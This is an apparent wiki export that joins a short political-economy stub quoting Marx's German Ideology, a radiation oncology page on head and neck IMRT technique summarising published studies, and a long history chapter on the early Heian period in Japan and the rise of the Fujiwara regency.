===Marx===
And finally, the division of labor offers us the first example of how, as long as man remains in natural society, that is, as long as a cleavage exists between the particular and the common interest, as long, therefore, as activity is not voluntarily, but naturally, divided, man’s own deed becomes an alien power opposed to him, which enslaves him instead of being controlled by him. For as soon as the distribution of labor comes into being, each man has a particular, exclusive sphere of activity, which is forced upon him and from which he cannot escape. He is a hunter, a fisherman, a herdsman, or a critical critic, and must remain so if he does not want to lose his means of livelihood; while in communist society, where nobody has one exclusive sphere of activity but each can become accomplished in any branch he wishes, society regulates the general production and thus mkes it possible for me to do one thing today and another tomorrow, to hunt in the morning, fish in the afternoon, rear cattle in the evening, criticize after dinner, just as I have a mind, without ever becoming hunter, fisherman, herdsman or critic. (The German Ideology)

==Role Of Individuals==

==Role Of The State==

==Private Property==

{{Political Economy/stub}}

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    <title>Radiation Oncology/Head &amp; Neck/RT Technique</title>
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      <text bytes="5793" sha1="9bgmmu8ip7fuu2hzlbdjylxbz6u8zeb" xml:space="preserve">{{Radiation Oncology:TOC}}

This page is for IMRT for head &amp; neck.

==Contouring targets==
*''See:'' [[Radiation Oncology/Head &amp; Neck/Anatomy|Anatomy and contouring]]


==Dose regimens==
'''''Simultaneous integrated boost:'''''
*'''PTV 66''' (primary), '''PTV 60''' (high-risk nodal), '''PTV 54''' (elective nodal) in '''30 fractions'''. (''2.2 Gy/fx, 2.0 Gy/fx, 1.8 Gy/fx''). Equivalent (acute effects) to ~69-73 Gy to the primary at 1.8-2 Gy/fx.


==Thermoplastic masks==
*'''Princess Margaret''' (2006-2008) -- standard immobilization mask vs skin-sparing immobilization mask
**Randomized. 762 CBCT scans in 20 patients. Arm 1) standard mask (SM) vs Arm 2) skin-sparing mask (SSM) modified with low neck cutouts
**'''2010''' {{PMID|20056344}} -- &quot;Cone-beam CT assessment of interfraction and intrafraction setup error of two head-and-neck cancer thermoplastic masks.&quot; (Velec M, Int J Radiat Oncol Biol Phys. 2010 Mar 1;76(3):949-55. Epub 2010 Jan 7.)
***Outcome:  Initial interfraction sigma SM 1.6 mm or 1.1 degrees vs SSM 2.0 mm and 0.8 degrees. No difference after CBCT correction. Initial intrafraction sigma &lt;1 mm and &lt;1 degree for both masks.
***Conclusion: Interfraction and intrafraction setup error not significantly different between masks. Mask cutouts should be considered to reduce skin toxicity


==Daily setup variations==
*'''U. Wisconsin''' - {{PMID|15708257}}, 2005 &amp;mdash; &quot;The impact of daily setup variations on head-and-neck intensity-modulated radiation therapy.&quot; Hong TS et al. Int J Radiat Oncol Biol Phys. 2005 Mar 1;61(3):779-88.
**Study of 10 patients treated with &lt;U&gt;conventional&lt;/u&gt; H&amp;N radiotherapy techniques (not IMRT). Immobilization with standard thermoplastic mask, room lasers, weekly portal imaging. Setup accuracy was assessed daily by obtaining positioning errors (3 translations + 3 angular) using an optically guided positioning system. The positional errors were applied to 10 H&amp;N IMRT plans for analysis of the impact of positional errors on the integrity of the IMRT plans over a 30 day course.
**Mean setup error in single dimension was 3.33 mm, composite vector of 6.97 mm. Tumor underdosing and normal tissue overdosing were common.
**Conclusion: More rigorous immobilization and patient setup are needed for IMRT.


==Treatment technique==
'''''Risk of extracapsular extension:'''''
*&lt;1 cm - 17-43%, 1-3 cm - 65-83%, &gt;3 cm - 67-95%.
*{{PMID|7316852}} (1981, Johnson), {{PMID|7105450}} (1982, Snow), {{PMID|4027895}} (1985, Snyderman), {{PMID|3583851}} (1987, Carter), {{PMID|2030629}} (1991, Hirabayashi)


'''''Margin around lymph nodes:'''''
*{{PMID|16243444}}, 2006 &amp;mdash; '''MDACC''': &quot;Determining optimal clinical target volume margins in head-and-neck cancer based on microscopic extracapsular extension of metastatic neck nodes.&quot;   Apisarnthanarax S et al. Int J Radiat Oncol Biol Phys. 2006 Mar 1;64(3):678-83.
**96 lymph nodes up to 3 cm with extracapsular extension were examined. Mean and median ECE extent was 2.2 and 1.6 mm. Was &lt;5mm in 96% of nodes. No correlation with size of lymph node and distance of ECE.
**Recommend 1 cm CTV margins to cover microscopic nodal extension.


'''''Time-to-treatment:'''''
*''Please see the [[Radiation_Oncology/Treatment_time|Time-to-treatment]] section''


'''''Daily time of treatment'''''
*'''NCIC HN3''' -- morning RT vs. afternoon RT
**Randomized, proof of principle. 205/216 patients, receiving primary or postop RT. Arm 1) morning (8-10 AM) RT vs. Arm 2) afternoon (4-6 PM) RT; no chemo. Primary outcome mucositis
**'''2008''' {{PMID|18805649}} -- &quot;Comparison of Toxicity Associated with Early Morning Versus Late Afternoon Radiotherapy in Patients with Head-and-Neck Cancer: A Prospective Randomized Trial of the National Cancer Institute of Canada Clinical Trials Group (HN3).&quot; (Bjarnason GA, Int J Radiat Oncol Biol Phys. 2008 Sep 19. [Epub ahead of print])
***Outcome: Grade 3+ mucositis AM RT 53% vs. PM RT 62% (p=0.2). In patients with RT dose 66-70 Gy, 45% vs. 67% (SS). Also longer time-to-mucositis &gt;7.9 weeks vs. 5.6 weeks (SS). Significant benefit in patients who continued to smoke 43% vs. 76% (SS)
***Conclusion: Morning RT associated with significantly less weight loss, and reduction in oral mucositis in patients getting &gt;=66 Gy


'''''LN response by size'''''
*'''Brisbane (Australia); 2008''' (1997-2003) {{PMID|19032396}} -- &quot;Predicting regional control based on pretreatment nodal size in squamous cell carcinoma of the head and neck treated with chemoradiotherapy: a clinician's guide.&quot; (Porceddu SV, J Med Imaging Radiat Oncol. 2008 Oct;52(5):491-6.)
**Retrospective. 117 patients, HNSCC, N+, treated with concurrent chemo-RT. Median RT dose 70 Gy. Stratified into pretreatment LN &lt;=3 cm vs. 3-6 cm vs. &gt;6 cm
**Outcome: Regional control if LN &lt;=3 cm 88% vs. 3-6cm 72% vs. &gt;6 cm 50% (SS)
**Conclusion: Quantitative guide for regional control based on pre-rx nodal size


'''''Larynx/Hypopharynx RT'''''
*'''West Florida; 1992''' {{PMID|1616592}} -- &quot;A technique for postoperative irradiation of carcinomas of the larynx and hypopharynx.&quot; (Amos EH, Med Dosim. 1992;17(2):65-7.)
**Postop RT technique. 15 degree lateral kick-out of table and 15 degree gantry rotation for each of 2 lateral fields. Benefit lower dose to shoulder and avoid hotspot near cord

*'''Univ North Carolina; 1991''' {{PMID|1869469}} -- &quot;A comparison of postoperative techniques for carcinomas of the larynx and hypopharynx using 3-D dose distributions.&quot; (Sailer SL, Int J Radiat Oncol Biol Phys. 1991 Aug;21(3):767-77.)
**Postop RT techcnique for larynx/hypopharynx. Comparison of minimantle technique (MGH), 3F technique (University of Florida), 3F technique (standard), and kicked out lateral technique
**Conclusion: Favor kicked-out lateral technique for better coverage and homogeneity</text>
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  <page>
    <title>A History of Japan: From Mythology to Nationhood/The Early Heian Period</title>
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      <text bytes="78609" sha1="okkie7zod88ufnfyy4qnj82ihkebxu4" xml:space="preserve">I date this period from the death of Kammu Tenno in 806 to the death of Fujiwara no Tokihira in 909. This is one of several possible end points, but it may be said to mark the end of the last attempt to restore life to the model of government and social organization inaugurated by Tenchi Tenno and Temmu Tenno in the Asuka period. The early Heian period was clearly a continuation of the Nara period in that the government remained committed throughout to make the &quot;ritsu-ryo&quot; system established by the law codes of 694 and 701 work. On the other hand, in contrast to the Nara period, the early Heian period was clearly a time when the efforts of the government were inadequate to counteract new developments that were pushing in a different direction entirely, one that would eventually lead to the feudal society of the medieval period.

The issues fall naturally into three categories. 

The first is the development and elaboration of what is known as the shoen system. Shoen refers to a legal category of estate that separated blocks of land from the &quot;public&quot; lands that were subject to the land redistribution system and the full range of taxes and made them &quot;private&quot; lands that were to some extent immune to taxation and to the interference of the provincial authorities. The original shoen were created by Shomu Tenno in the Nara period to finance his great Buddhist temple Todaiji. However, they only started to grow into an institution threatening the integrity of the system in the Heian period. By the end of the early Heian period shoen were on the verge of replacing the taxes from the public lands as the primary economic support of the ruling class in the capital. Taxes were still collected, but they mostly ceased to be available for budgeted expenditures of the government and flowed directly into the pockets of the governor and his subordinates as another form of essentially private income.

The second main theme is the development of the regency system. During the course of the early Heian period the imperial clan lost control of the government to the Fujiwara clan for a substantial portion of time. The institutional marker of this was the development of the offices known as Sessho and Kampaku. Both may be translated as &quot;regent&quot;, one applied in the case when the emperor was a minor and the other in the case when the emperor was an adult, but the substance was identical. The regent had the authority to act without restraint in place of the emperor, to sign valid imperial edicts. The underlying mechanism was rooted in the marriage customs of the aristocratic class whereby wives continued to live in the house of their father and this was where their children were raised. The children came under the control of their father only when they became legally adult. The girls were usually moved into his house and his sons usually established houses of their own. This meant that a man had a much closer relationship with his father in law than with his natural father, and that a male child was essentially raised by his grandfather. The Fujiwara regent was in principle the grandfather of the emperor or, if the grandfather was dead, one of the emperor's uncles. Whenever it happened that an emperor came to the throne who was not a Fujiwara grandchild there was the possibility that Fujiwara dominance would be broken, and that eventually happened, but not in this period.

The third main development, which only became apparent late in the period under consideration, was a transformation of life among the provincial nobility which led them to become much more independent of the capital nobility and politically active in their own right. One aspect of this was to have enormous importance, the militarization of this class, leading to the development of the social group later known as bushi or samurai. In the early Heian period the word samurai meant servant and it had no military connotation and did not refer to a person of elite status. Actually, the more common term was rodo, which meant the same thing. When provincial nobles started to form private armed forces, they did so by arming their dependents, some of whom were farmers and some of whom were servants, rodo. These rodo were housed and fed and equipped by their master and were of humble status, but they eventually evolved into the haughty samurai of later times. We have some very valuable sources on the early stages of this process thanks to the emergence of Japanese language fiction at the end of the 9th century.

==Outline of Political History==

The political history of this period falls into three clear phases.

From 809 until the death of retired emperor Saga in 842 the sons of Kammu were in charge. Emperors Heizei and Saga were in complete charge of the government. Emperors Junna and Nimmyo were interested in other things and made no effort to challenge Saga.

When Saga died in 842 Nimmyo Tenno turned control of the government over to Fujiwara Yoshifusa, who converted his dominance into a new institutional form, the &quot;regency&quot;. In 857 he took the title Dajodaijin, vacant since Dokyo, and in 866 invented a new title, Sessho, which is translated regent. When he died in 862 his power was maintained by his heir Mototsune. In 887 Mototsune invented a new title, Kampaku, to identify the regency when applied to an adult emperor. The regency temporarily lapsed when Mototsune died in 891.

The period from 891 to the end of this era was dominated by Uda Tenno who functioned as the ruler. He was able to refuse to appoint a new regent when Mototsune died, and also succeeded in transferring power to his son Daigo Tenno.

===The Sons of Kammu===

During his reign Kammu Tenno was unquestionably in complete charge of the government. He consistently left many sangi-level offices vacant and throughout his reign maintained only one &quot;great minister&quot;, the Udaijin, held by a succession of members of the Fujiwara clan. There are sources which state that it was his intention to return to the ancient pattern for the succession which was a succession of generations. It was vital for the imperial clan to ensure that the ruler was an adult of ability, not a child, so when a ruler died who did not have an heir who was an adult, he was to be followed by a brother. There was another factor to this mode of succession because the status of a member of the clan was determined by the degree of his relationship to an emperor. If three brothers held the throne in succession then all of their sons would be of the highest status, ensuring a larger pool from which to make sure that the ruler was up to the task of keeping the clan on top. Of course, this also increased the possibility of conflicts over the succession.

When Kammu died his son prince Ate followed him and a second son prince Kamino was designated the official heir. These are Heizei Tenno and Saga Tenno respectively. Heizei was 33 at his accession, and the government immediately showed itself active, sending out circuit inspectors, with a particular mandate to look for cases where water from government irrigation systems was being diverted to open private farmland. Later the same year there was an edict directed to the management of temples, to ensure that people could not create a new temple and endow it with land (which became exempt from many taxes) but then continue to treat the land as their private property.

There were three branches of the Fujiwara clan active in court politics and they were very competitive. There had been four branches, of course, descended from the four sons of Fujiwara Fuhito, but the branch that led to Fujiwara Nakamaro had been eliminated from consideration. Prince Iyo, a brother of the emperor, was a grandson of Fujiwara Korekimi, who had been Udaijin from 783 to 789, and a nephew of Fujiwara Otomo, a member of the sangi. These men were of the &quot;shiki&quot; branch of the Fujiwara. The current Udaijin was Fujiwara Uchimaro of the &quot;northern&quot; branch. Prince Iyo was currently the administrator in charge of the imperial palace, a senior position. Fujiwara Otomo was the leader of the remaining &quot;southern&quot; branch and also a member of the sangi.

According to the official history, Otomo informed Uchimaro that he had heard that another Fujiwara of the southern branch, Munenari, had secretly approached Prince Iyo and urged him to rebel. Prince Iyo became aware of this report and immediately went to the emperor and reported that Munenari had approached him. Munenari was arrested and he claimed that Prince Iyo was the instigator of the plot. Iyo and his mother (the daughter of Korekimi) were arrested and immediately committed suicide by taking poison. Munenari was exiled and Otomo was removed from office and exiled as well. This largely eliminated the southern branch of the Fujiwara from the competition. The speedy resolution of this incident shows that Heizei shared his father's aggressiveness in handling any hint of a threat.

Early in 809 Heizei announced his intention to abdicate in favor of his brother. His own son, prince Takaoka, was appointed crown prince. He claimed to be too ill to fulfill the obligations of his office. It is speculated that he feared that he might die in circumstances which would lead to the exclusion of his sons from the line of succession.

The retired emperor changed his residence 5 times in the next few months seeking relief from his illness (a not uncommon practice at the time, seeking what we would call &quot;good feng-shueh&quot;) without success. He then announced that he would move back to Nara, and without waiting for an official residence to be prepared he moved into a borrowed mansion in the old city at the end of the year. At about the same time Saga Tenno also became seriously ill and the court cancelled the usual new year ceremonies. This led Saga to revive the Kurodo office that had been used by Kammu so that he could work from his private suite, and it is from this time that it became a permanent institution. He recovered for a time but in the 7th and 8th months of 810 became seriously ill once more.

On the 6th day of the 9th month the retired emperor issued an edict announcing the abolition of Heiankyo and the restoration of Nara as the capital. He also named two illustrious officials, Sakanoue Tamuramaro and Fujiwara Fuyutsugu, to serve as body guards to the emperor. This might be interpreted as a request to the two to take the emperor into &quot;protective custody,&quot; but little is certain about this episode. On the 10th day Saga Tenno overruled Heizei's edict and sent out officers to raise troops in nearby provinces. Heizei found out about this the next day and immediately made preparations to leave Nara for the east. Saga Tenno appointed Sakanoue Tamuramaro to take command of forces positioned to protect Kyoto. Heizei left Nara with a small party, but encountered troops and became frightened and returned to the city, where he shaved his head and took monastic orders. There was no actual fighting. Heizei and two officials who accompanied him were exiled. Heizei lived another 14 years. His son was removed from the succession in favor of another son of Kammu (future Junna Tenno). The future of the imperial clan belonged to the descendents of Saga via his son Nimmyo Tenno, successor to Junna. Saga took steps to eliminate Nara as a base from which to stage a takeover: he ordered the demolition of the city. However, an unofficial town just outside the official city centered on a cluster of important temples and shrines survived to become the modern city of Nara.

This incident has attracted a lot of attention, but there is really very little information about it. It is felt that Heizei Tenno was mentally unstable and impulsive and that he regretted abdicating and hoped to reclaim the throne before Saga could die and pass it on. As it happened Saga recovered his health and had a relatively long reign, abdicating in 823 and living until 842. He has the reputation of having taken his responsibilities seriously and generally continuing the policies of Kammu. He remained the effective ruler up to his death.

However, there are clear signs that there were problems. Saga conducted land redistributions in 810 and 828 (technically Junna), failing to make Kammu's schedule of 12 years. It is also not clear from the evidence whether these redistributions covered the entire country. It is only known for sure that the provinces near the capital were done. After Saga's death, the Nimmyo court undertook the census required for a redistribution in 844, but the redistribution itself was never performed. There is no record of another attempt before 879. It is thought that all attempts to keep the registers were abandoned, because the redistributions were their only purpose. The local officials naturally knew where all the farm land was and where to go to collect taxes from it.

The end of the redistribution system did not mean the end of the involvement of the government in agriculture. The government noted that farmers of the Uda district of Yamato province invented wooden drying racks for sheaves of rice that dried the grain (so that it could be threshed) more quickly with less chance of rot setting in, and in 841 an edict recommended that all farmers take up the practice, still in use today. In 829 there was an edict urging the use of a type of waterwheel that had been invented in China to power pumps for irrigation. Amidst a series of years in which harvests were poor, the government exerted efforts to persuade farmers to vary their crops by adding buckwheat and three kinds of millet, kibi, kibinomochi and hiemugi. As in the 8th century, the farmers seem to have ignored this advice. Only in feudal times did multiple cropping become widespread.

Saga Tenno supported the completion of a project that had been much discussed during Kammu's reign to put together an official compilation of materials that had the effect of amending the administrative codes. These fell into two categories, kyaku, which were administrative rulings, and shiki, which were legal judgments and interpretations of the law. A set of 10 volumes of kyaku and 40 volumes of shiki was completed in 820 and Saga ordered that copies be made and distributed throughout the government, a process that took 10 years to complete. They include documents created from the time of Konin Tenno forward. Fujiwara Fuyutsugu had a collection of Saga's edicts created in 821 and in 833 a group of scholars produced a very important book in &lt;i&gt;Ryo no Gige&lt;/i&gt; (10 volumes) intended to provide a summary of all of the rulings that were considered to be currently in force. It was also during this period that copies of the Yoro code of 718 were made which are the only reason that large parts of it survive. Also, the &quot;national histories&quot; were continued. In 819 Saga ordered preparation of a continuation of &lt;i&gt;Shoku Nihongi&lt;/i&gt;. However, the project apparently got sidetracked when Fujiwara Otsugu died, but it was revived later and completed in 840. This is &lt;i&gt;Nihon Koki&lt;/i&gt; and it covers the period from 792 to 833 in 40 volumes. Unfortunately, only 10 volumes survive. Most of Kammu's reign is lost.

Another innovation of Saga's time was the establishment of the office of Kebiishi. The government kept guard units in the capital. There were six of them with a nominal total strength of 2,400 men. They were organized as military units and also provided security for the palace and official buildings. They probably also managed the city gates. The Kebiishi on the other hand amounted to a civilian police force for the city, showing that it had become densely enough populated to need one. They were conspicuously successful in keeping order when the city was seriously flooded in 837 and in 839 were given control of all police related functions that were, under the code, spread among a number of small offices. By 850 they were also running a prison system and in 857 two executioners were added. Also Kebiishi began to be posted to rural areas around that time. Kyoto was from the 830's at least overrun with professional criminals and the Kebiishi were only moderately successful in suppressing them. In 837 the emperor came across two female robbers stealing clothing in the palace who pulled knives on him.

Saga Tenno was 38 when he abdicated. Fujiwara Fuyutsugu, the chief minister at the time, objected on the grounds that the government could not afford two palaces and two emperors, but Saga insisted. He continued to run things and there is no evidence that Junna Tenno, who was mild-mannered and scholarly, objected to this. Junna abdicated as soon as Saga's son Masayoshi was old enough to become emperor, and his own son Tsunesada was in turn designated the crown prince. Fuyutsugu was right to be worried, it seems, as Saga and Junna (and Nimmyo later) were fond of high living and were noted for giving frequent and expensive parties.

Saga Tenno lived a long time and had many wives. The result was approximately 50 children. Because there were so many of them, he took a group with low status mothers and set them up as a new clan, Minamoto. Several later rulers followed this precedent, leading to several different groups of Minamotos (and Tairas, another clan name used the same way). The group descended from Saga are in later times known as &quot;the Saga Genji.&quot; Genji is &quot;Minamoto clan&quot; if pronounced as Chinese. Several of the Saga Genji had prominent political careers from the reign of Nimmyo Tenno forward. They were moved into high status jobs at very early ages. Minamoto Tokiwa was made Udaijin at the age of 29 whereas the Sadaijin at the time was Fujiwara Otsugu, aged 69. Fujiwara Yoshifusa, the future dictator, was merely Chunagon at age 37 at the time.

During the reigns of Kammu and Heizei men appointed to high office had lengthy experience of low ones that would have exposed them to the lives of the ordinary population, usually including service as an active military officer in the field or as provincial governor. One of the sangi at this time, Ono Minemori, is known to have worked at Dazaifu where he was active in setting up a chain of hostels that could be used by corvee laborers while travelling. He also worked on an experimental system of kueiden in Kyushu. This was a project to find out whether it was feasible for the government to take direct command of farming activity. The government designated a special block of land and peasants to farm it. The government then fed the workers and paid all of their expenses directly, collected the entire crop, paid the workers' taxes and the expenses out of it and kept what was left as profit. The goal was to split the wealth between the peasants and the government and freeze out the local aristocracy, who usually creamed off most of the profit. The foremen who controlled the work were also peasants, paid extra. The project was considered a success, though it was not followed up. A man like Ono Minemori would have had a pretty good idea what the real world was like by the time he rose to high office. That would not necessarily be the case for a man like Minamoto Tokiwa who stepped directly from a youth in the palace to appointment as a senior minister.

The year 842 marks a major transition, the death of the retired emperor Saga, who had dominated the government since his accession to the throne in 809. Junnin had died two years earlier and Nimmyo Tenno was now on his own. He was clearly not up to it, and power almost immediately shifted into the hands of Fujiwara Yoshifusa. He was a high-ranking official but by no means the highest, but he quickly demonstrated high-class conspiratorial skills, and then maintained his control without much effort for many years. Clearly, he knew what he was doing.


===The first Fujiwara Regency===


Eight days after the death of Saga Nimmyo arrested Tsunesada and deposed him. A large number of officials were demoted and others were promoted to replace them, headed by Fujiwara Yoshifusa. One month later Nimmyo Tenno's son prince Michiyasu was designated crown prince. The most unusual thing about this episode is that Tsunesada was not killed. Like Heizei Tenno he was allowed to live out his life. It is worthy of noting that both princes involved, Tsunesada and Michiyasu, had Fujiwara mothers. However, Tsunesada's mother was of a branch that was rival to Yoshifusa. Michiyasu's mother was Yoshifusa's sister.

Yoshifusa was the second son of Fujiwara Fuyutsugu who had been Sadaijin. However, Fuyutsugu died while Yoshifusa was still quite young and he was only a mid-level official without great prospects when he was assigned to work in the palace of the crown prince and became friendly with the future Nimmyo Tenno. Once Nimmyo became emperor Yoshifusa began to rise rapidly. When Michiyasu was made crown prince he was already married and had three children headed by prince Koretaka. In 843 Yoshifusa was able to introduce his daughter into this family. She was a granddaughter of Saga Tenno because Yoshifusa had been able to marry a daughter of the emperor, something currently permitted only to Fujiwaras among the aristocracy. This girl quickly produced a son who eventually enabled Yoshifusa to transform the political situation in his favor.

Nimmyo's reign was not a successful one. All of the registers and maps were prepared for a land distribution in 844, but it was never carried out. There is no explanation given as to why. There was to be no further attempt for more than 30 years. The quality of life in the capital was deteriorating visibly. There were thieves and bandits everywhere and fires were constant. It appears that thieves often set fires and sounded the alarm and when the occupants of the house fled out one side, the thieves entered the other side to loot it. Occasionally such fires spread and destroyed large sections of the city. The Kebiishi proved unable to cope successfully with this and for a time the regular guards troops were deployed in the streets in the area around the palace where most noble mansions were located as patrolmen.

Nimmyo became ill in 850. Two days before his death he took the vows of a Buddhist monk. He was only 41. His mother became a Buddhist nun and two of his brothers became Buddhist monks. This was unprecedented in that Kammu Tenno and his three sons had all been conspicuously Confucian in orientation. When they wrote poetry, they wrote it in Chinese. However, Buddhism was now very obviously on the rise among the common people and the nobility alike. This is often associated with the noted monk Kukai, later considered the equivalent of a saint and awarded a posthumous name, but it went far beyond the efforts of one man. From this time forward imperial monks become common, and many other nobles also took monastic vows late in life as a sign of retirement from public life.

Montoku Tenno was 24 years old when he ascended the throne. His son by Yoshifusa's daughter was immediately appointed the official heir despite being but one year old. This was entirely unprecedented, and particularly opposed to the system that Kammu Tenno had attempted to set up. Given that Saga Tenno had 50 children, there would have been no difficulty about finding a brother of Nimmyo capable of taking the throne. However, it is clear that we have returned to the general situation that had prevailed during the Soga dominance and at intervals during the Nara period when the relationship to the dominant noble family at court controlled the succession. To be fair, no one expected Montoku Tenno to die young, but still, the risk was obvious. At the time the senior official was Minamoto Tokiwa and Yoshifusa ranked second. However, Tokiwa died in 854.

The main problem afflicting the government at this time was rapidly falling revenue from taxes. The response was a series of edicts urging the people to pay attention to agriculture. The actual cause was the spread of shoen and the removal of lands from the tax registers. The government made no effort to enforce the land redistributions, nor did it follow up on the experimental direct farming system explored during Saga's reign.

The year 857 saw numerous examples of dissatisfaction around the country. On the island of Tsushima, which was also a province, a mob of 300 men led by the district magistrates stormed the residence of the governor and burned it down, killing him and 16 other persons. In other places the locals limited themselves to sending in petitions protesting against misrule. In the same year Yoshifusa was appointed to the office of Dajodaijin, last occupied in 765 by the monk Dokyo. It may be that that was an attempt to respond to the crisis. Montoku's edict making the appointment specifically states that it was because Yoshifusa was his relative, and it may be that this was a first pass at the regency that followed soon after. A few months later the emperor fell gravely ill and he died in the 8th month of 858 at the age of 33. It is believed that he was always frail and it seems that he almost never left the palace. His son was placed on the throne becoming Seiwa Tenno. He was nine, the previous record (which occasioned much controversy at the time) was Mommu Tenno aged 15.

Despite his youth, Seiwa Tenno already had a Fujiwara wife, whose father was Yoshifusa's younger brother Nagayoshi. This woman eventually became the mother of Yozei Tenno. Nagayoshi was also the father of Yoshifusa's eventual successor, Mototsune. Yoshifusa did not have a son, nor did he have a spare daughter to marry to Seiwa Tenno. In the official genealogies Mototsune counts as Yoshifusa's son, but he was adopted.

In 862 a rather strange edict said, essentially, that everything was going to hell and all government officials needed to work harder. There is no evidence of anything specific being done. This is the beginning of the phase in which the provincial administration ceased to operate for the benefit of the government and instead became the personal fief of the governor, to loot to whatever extent he was capable. It is from this time that we see in the record frequent mentions of &quot;good officials&quot; who were honest and actually tried to run things in a manner that was fair to all. This flows from the Chinese idea that all that is necessary to have a successful government is moral officials.

In 863 there was a major influenza epidemic and there was a wave of popular belief that it was caused by vengeful ghosts from imperial scandals going all the way back to the overthrow of Tenchi Tenno's son prince Sawara. The government held a public propitiation ceremony at Shinsenen, which was a vast garden that had been added to the southern side of the palace. A portion of thr garden survives today just south of Nijo Castle, which sits on the southeast corner of the ancient imperial palace. Many private ceremonies were also held, some of which attracted large crowds. The gatherings continued and the government attempted to prohibit them in 865. In 866 the emperor and all the leading nobles went to the mansion of Yoshifusa for a lavish cherry blossom viewing party. Ten days later one of the gates of the imperial palace, known as Otemon, burned down. This was popularly taken as a divine criticism of the government. The government tried to respond by mobilizing military forces which were sent out to deal with pirates in the Inland Sea and bandits operating in various places. In the midst of this one official informed another that he had heard that the fire had been set on the orders of Minamoto Tokiwa. The second official immediately ordered Tokiwa's arrest. The officer who received this order was Fujiwara Mototsune. Instead of carrying it out he went to ask Yoshifusa what he thought about it, and Yoshifusa replied that he was sure that Tokiwa was innocent. He sent people to circulate around the palace and calm everyone down.

The man who started the rumor about Minamoto Tokiwa was Otomo Yoshio. Five months after the &quot;Otemon incident&quot; an informer accused Otomo of having burned the gate himself. He continued to protest his innocence under torture but was convicted and exiled along with four of his relatives. He was the grandson of a man who had been convicted in the murder of Fujiwara Tanetsugu in 785 and exiled.

When Yoshifusa died in 872 the government treated it as a crisis and mobilized the guard units and activated the barriers on the major roads, something ordinarily done only on the death of an emperor. However, there was no trouble and his heir Mototsune continued to exercise his authority and was immediately appointed regent. Seiwa Tenno abdicated in 876 and was replaced by Yozei Tenno, Mototsune's nephew. Yozei was nine and the regency continued.

In 878 there was a large-scale rebellion of Emishi in Dewa province. There had been no serious fighting in the north since early in the reign of Saga Tenno. A provincial of neighboring Mutsu province who had the title of Oryoshi, which was a provincial version of the Kebiishi, on his own authority assembled an army of 2000 men and marched to Dewa where he found 5000 men at the provincial capital. About a month later they were attacked by rebels and the bulk of the army fled. Only one small unit commanded by a man named Funya Arifusa stayed to fight, but they were defeated. The rebels captured large quantities of military gear.

Back in the capital, Fujiwara Yasunori, a man noted as a &quot;good official&quot; but with no military experience, was appointed governor and sent off to deal with the situation. He appears to have had only 600 men with him, but he found 300 more in Dewa, and then was reinforced by 2000 more men following behind him. He came under a lot of pressure from the government to attack the rebels, but he said that the rebels had problems of their own and he thought that with good government he could resolve the situation without fighting. He said that he wanted to get the farmers back to work, settle refugees, and build up his resources. The government permitted him to take this approach and the rebellion in fact came to an end with no more fighting and Yasunori was back in the capital before the end of 879. This is the last item in the history of the frontier wars. The northeast region remained an unusual region with a history in many ways independent of the rest of the country for a very long time, even into the 19th century in some ways, but it was administratively now a permanent part of Japan. The name Emishi went out of use soon after.

The record shows Fujiwara Mototsune as being much more aggressive than had been Yoshifusa in attacking the problems facing the government. He backed Fujiwara Yasunori's policies in Dewa and made an effort to try to put an end to the abuses commonly practiced by governors. However, it is clear that his focus was on trying to get moral men into office rather than changing administrative systems. He was responsible for last iteration of the land redistribution system. His edict on the matter pointed out that because of the lapse of this system the government had almost no idea of what was happening in the provinces. The registers were not being kept, so that there were no maps of the arable land and no indication of the numbers of taxpayers or where they were living, making it impossible to manage the tax system intelligently.

In the five inner provinces we know that the government appointed five senior officials (all sangi) to go to the five provinces to supervise. The original law called for female members of the family to receive 2/3 of the allotment of a male, but this had been cut in 828 to 1/3 and now in 880 it was eliminated. Also, the allotments for males were changed from entirely rice paddy to a mixture of paddy land and dry land for wheat or millet. The redistribution was ordered for all provinces, but outside of the inner provinces the details were left up to the governor. There was a flood of complaints about difficulties, but there is evidence that the redistribution occurred in at least 7 provinces and it is believed that it was pretty widespread, though we don't know how thorough it was outside of the inner provinces.

In 882 Yozei Tenno became a legal adult at the age of 15, and he inquired about terminating the regency. Instead a new title, kampaku, was invented to apply to the regency in respect to an adult emperor. About one year later Mototsune and the emperor quarreled about something unknown and refused to make up. Whatever one proposed the other tried to sabotage. At one point Mototsune proposed ending the regency and Yozei refused. Yozei was definitely an exception to the recent run of weakling emperors who died young. He lived to be 82. There is speculation that he was not sane. In late 883 there was an unsolved murder inside the imperial palace and the rumor was that it had been committed by the emperor in a rage over something. Mototsune increased his pressure on the emperor and in early 884 he abdicated. There was no designated successor. There was a prince who was Mototsune's grandson, Sadatoki, age 7. However, he was a son of Yozei and Mototsune appears to have been determined not to appoint a son of Yozei. Many candidates were discussed and the selection was prince Tokiyasu, a brother of Montoku Tenno. His mother was a Fujiwara, though from a different branch of the clan than Mototsune. He was 55 years of age and had a modest career working in the government. He was Koko Tenno. Despite the age of the new ruler and his experience working in the government the regency was continued. It is claimed that this was the decision of the emperor himself. The best man should rule, and the best man was Mototsune.

In 885 Mototsune's son Tokihira achieved adulthood and was launched on his official career.

There was no immediate decision on an heir to Koko Tenno. The emperor wanted his 7th son Minamoto Sadami. This presented a problem in that as a Minamoto he had been removed from the imperial clan, legally speaking. Mototsune had rejected one candidate to succeed Yozei on exactly that ground. However, this time he agreed. Sadami was formally restored to the clan and made crown prince. His mother was not a Fujiwara but an imperial princess. The same day this was accomplished the emperor died and prince Sadami immediately succeeded. He is designated Uda Tenno. When the retired emperor Yozei was informed of this he said, &quot;but isn't he a servant?&quot; As Minamoto Sadami the new emperor had served as a page in the palace. This all occurred in 887.

The first edict issued by Uda Tenno contains the first use of the word Kampaku. The edict changed the name of Mototsune's office to &quot;ako.&quot; Mototsune protested that the new word didn't mean anything. The two fought about this with many arguments for six months before Uda finally issued an edict putting everything back the way it was. One historian called this &quot;the Ako War.&quot; It signalled that Uda was not going to be anyone's puppet emperor.

Mototsune then died in 891 before he could arrange for a proper successor through a new grandson or get his sons advanced to high positions in the government. He had 4 sons, Tokihira, Kanehira, Nakahira, and Tadahira, and 4 daughters. Two of them were married to Seiwa Tenno, one was married to Uda Tenno, and the last would eventually become married to Daigo Tenno. Tokihira was 21 years old and not yet of Sangi rank. As manager of the fortunes of the northern branch of the Fujiwara clan Mototsune seems to have made a real mess of the position achieved by Yoshifusa.

